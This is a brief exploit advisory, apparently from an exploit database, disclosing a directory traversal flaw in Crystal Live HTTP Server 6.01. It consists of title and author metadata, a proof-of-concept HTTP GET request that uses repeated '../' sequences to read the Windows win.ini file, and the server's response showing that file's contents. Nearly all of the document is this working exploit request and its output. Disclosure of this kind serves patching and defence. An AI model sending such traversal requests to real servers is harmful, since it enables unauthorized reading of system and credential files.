Crystal Live HTTP Server version 6.01 suffers from a directory traversal vulnerability.
9d4260e2999b76e3021c14066da0c499# Title: Crystal Live HTTP Server 6.01 - Directory Traversal
# Date of found: 2019-11-17
# Author: Numan Türle
# Vendor Homepage: https://www.genivia.com/
# Version : Crystal Quality 6.01.x.x
# Software Link : https://www.crystalrs.com/crystal-quality-introduction/
POC
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GET /../../../../../../../../../../../../windows/win.iniHTTP/1.1
Host: 12.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Response
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; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1